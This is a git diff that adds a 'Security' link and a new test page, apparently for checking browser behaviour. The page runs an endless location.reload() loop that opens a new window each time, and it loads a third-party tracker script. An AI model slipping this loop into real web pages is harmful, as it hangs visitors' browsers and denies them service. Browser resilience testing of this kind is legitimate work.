diff --git a/index.html b/index.html
index 0bd4df9..b8c38f3 100644
--- a/index.html
+++ b/index.html
@@ -23,6 +23,11 @@ <h2>Browser Features</h2>
 	<li><a href="./features/geolocation.html">Geolocation</a>
 </ul>
 
+<h2>Security</h2>
+
+<ul>
+	<li><a href="./security/dos-reload.html">Infinite location.reload() loop</a>
+</ul>
 
 </body>
 </html>
diff --git a/security/dos-reload.html b/security/dos-reload.html
new file mode 100644
index 0000000..29bf569
--- /dev/null
+++ b/security/dos-reload.html
@@ -0,0 +1,21 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <meta charset="utf-8">
+  <meta name="viewport" content="width=device-width">
+  <title>Infinite location.reload() loop</title>
+
+  <script src="//doubleclick.net/tracker.js"></script>
+</head>
+<body>
+<p><a href="../index.html">[Home]</a></p>
+
+<p>Infinite location.reload() loop</p>
+
+<script>
+  open("");
+  setInterval('location.reload()',1);
+</script>
+
+</body>
+</html>
